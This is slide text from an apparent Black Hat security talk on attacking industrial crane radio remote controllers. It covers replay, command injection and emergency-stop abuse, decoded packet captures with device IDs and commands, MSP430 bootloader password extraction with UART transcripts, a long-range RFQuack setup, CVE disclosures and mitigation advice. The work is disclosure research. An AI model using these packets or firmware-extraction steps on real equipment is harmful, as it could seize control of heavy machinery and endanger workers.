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RF chip(RX): JRC NJU7512 

! Circuit Design



Demo 1: Replay Attack



TX module + ButtonRX module +Alarm Lamp



1: Replay Attack

2: Command Injection

3: E-Stop Abuse
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Hamming (8, 4, 4) ???



URH
2m / 235 samples
= 8,510 bps

Universal
Radio Hacker by
Johannes Pohl



Modulation images from Infineon 
TDA5101 datasheet.
https://www.infineon.com/dgdl/Infineon
-TDK5101F-DS-v01_03-EN.pdf

MSP430F1101A
Infineon TDA5101

https://www.infineon.com/dgdl/Infineon-TDK5101F-DS-v01_03-EN.pdf


Manchester 
encoding!



0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1



• 0F 05 55 50 27 41 63 44 36 (Device #1 – A116 352A)

• 0F 05 55 50 27 41 11 50 27 (Device #2 – A116 3D18)

• F0 05 55 50 27 41 63 44 36 55 50 50 11 0F (pairing)

• 0F è 55 AA (preamble)



PRE     SYNC              DEV_ID               CMD      SUM POST

1. 00 00 00 0F 05 55 50 27 41 63 44 36 55 55 41 14 0F (Start) 37x + 18 EOP
2. 00 00 00 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F (Up) 12x + 18 EOP
3. 00 00 00 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F (Up) 12x + 18 EOP
4. 00 00 00 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F (Up) 12x + 18 EOP
5. 00 00 00 0F 05 55 50 27 41 63 44 36 55 50 50 11 0F (Reset) 10 packets



Demo 2: Command Injection
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• Default disabled J
• SAGA: 4-min window

• F0 05 55 50 27 41 63 44 36 55 50 50 11 0F
• Juuko
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FCC schematics of the SAGA radio controller.
https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419

?!

https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419






Source: Texas Instrument (SLAU319R) MSP430™ Flash Device Bootloader (BSL)



Travis Goodspeed @25C3



MSP430F1101A BSL

• 1KB Bootloader
• Password is 16 * 2 bytes è IVT
• BSL ver 1.3



A1163D18 (TX)
TX(UART) 80 (Sync)
RX(UART) 90
TX(UART) 80 10 24 24 E0 FF 20 00 00 F0 98 F4 98 F4 98 F4 98 F4 00 F0 72 F3 00 F0 00 F0 72 F3 00 F0 00 F0 00 F0 00 F0 00 F0 00 F0 9B 34
RX(UART) A0 (DATA_NAK) 
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 10 24 24 E0 FF 20 00 00 F0 00 F0 00 FD 00 FD 00 FD 00 F0 00 FA 00 F0 00 F0 00 FA 00 F0 00 F0 00 F0 00 F0 00 F0 00 F0 9B 39
RX(UART) 90 (DATA_ACK)
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 14 04 04 80 10 80 00 7B FF (Read from information flash, 1080h, size = 128 bytes)
RX(UART) 80 00 80 80 EE F0 00 0F 96 3C CC 0F 96 16 00 F9 40 1F 00 B8 EF 0A 20 20 06 26 00 01 00 00 01 01 B8 B8 16 00 55 42 80 10 55 E2 
81 10 55 52 82 10 55 E2 83 10 55 52 84 10 55 E2 85 10 55 52 86 10 55 E2 87 10 55 52 88 10 55 E2 FF 10 30 41 55 42 80 10 55 52 81 10 55 E2 
82 10 55 52 83 10 55 E2 84 10 55 52 85 10 55 E2 86 10 55 52 87 10 55 E2 88 10 55 52 FE 10 30 41 01 01 01 FF FF FF FF FF FF FF E4 FE E1 00
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 14 04 04 D0 FF 0F 00 A4 10 (Read from code flash, size = 15 bytes)
RX(UART) 80 00 0F 0F FF FF FF FF FF FF FF FF FF FF FF FF FF 89 04 00 00 F0 00

RX password
AX=FFE0h

BSL Password on my device

Wrong password è Mass erase disabled

X



MSPFet.EXE +r "psw.txt" -BSL=COM5

Main

Timer_A

Button ISR



Check firmware integrity 
in the flash





Now we understood the protocol.
Let’s control the crane from a LOOOOOONG distance!



Frontend Chips

Arduino

Backend Chips

MQTT Server

Researcher

RFQuack

WiFi, GSM, BLE*, LoRa*

JUUKO, SAGA

CC1120, RFM69

Python Client







Demo 3: RFQuack







* 100 = 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 0F 
…….



Juuko – Obfuscated Payloads

!



! Juuko
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MCU

CC1120

SPI Bus



PREAMBLE SYNC LEN ADDR DATA CRC-16

SID CODE … CHECKSUMCOMMAND



Seq. ID [SID][PACKET_CODE (4 bytes)][SUM1][0x00][CMD][0x000000][SUM2] 

Seq. ID = 2



Conclusion



Patterns of vulnerabilities

•No rolling-code

•Weak or no encryption at all

•Lack of software / firmware protection



Vendor CVE-ID Status

Circuit Design ZDI-CAN-6185 (replay attack) Closed(No fix)

SAGA CVE-2018-17903 (replay attack / command forgery )
CVE-2018-20783 (malicious pairing)
CVE-2018-17923 (malicious firmware upgrade)

Fixed
Fixed
Fixed

Telecrane CVE-2018-17935 (replay attack) Fixed

Juuko ZDI-18-1336 (replay attack)
ZDI-18-1362 (command forgery)

0day
0day

ELCA CVE-2018-18851 (replay attack) Closed(EOL)

Autec ZDI-CAN-6183 (replay attack) Closed(No fix)

Hetronic CVE-2018-19023 (replay attack) Fixed



If You Are a Vendor
Physical Security

üOpen chassis à Mass erase
Firmware Security

üBlow up JTAG fuses
üMass erase in case of incorrect BSL password (Optional)
üAvoid vulnerable BSL versions
üProbe-sensitive circuits

Radio Security
üUse standard protocols
üRight design of emergency STOP



If You Are a User

üAsk your vendor for cybersecurity

üObtain patches and apply them

üUse devices with 2nd channel or Virtual Fencing

üRemember safety ≠ security



Black Hat Sound Bytes

• Use open well-known protocols instead of proprietary ones.

• Use a second channel or virtual fencing in mission critical remote 

controllers.

• Mind physical, firmware and radio security.



Questions?

philippe_z_lin@trendmicro.com

akira_urano@trendmicro.com

Download the paper:
https://bit.ly/2Mfk2UO


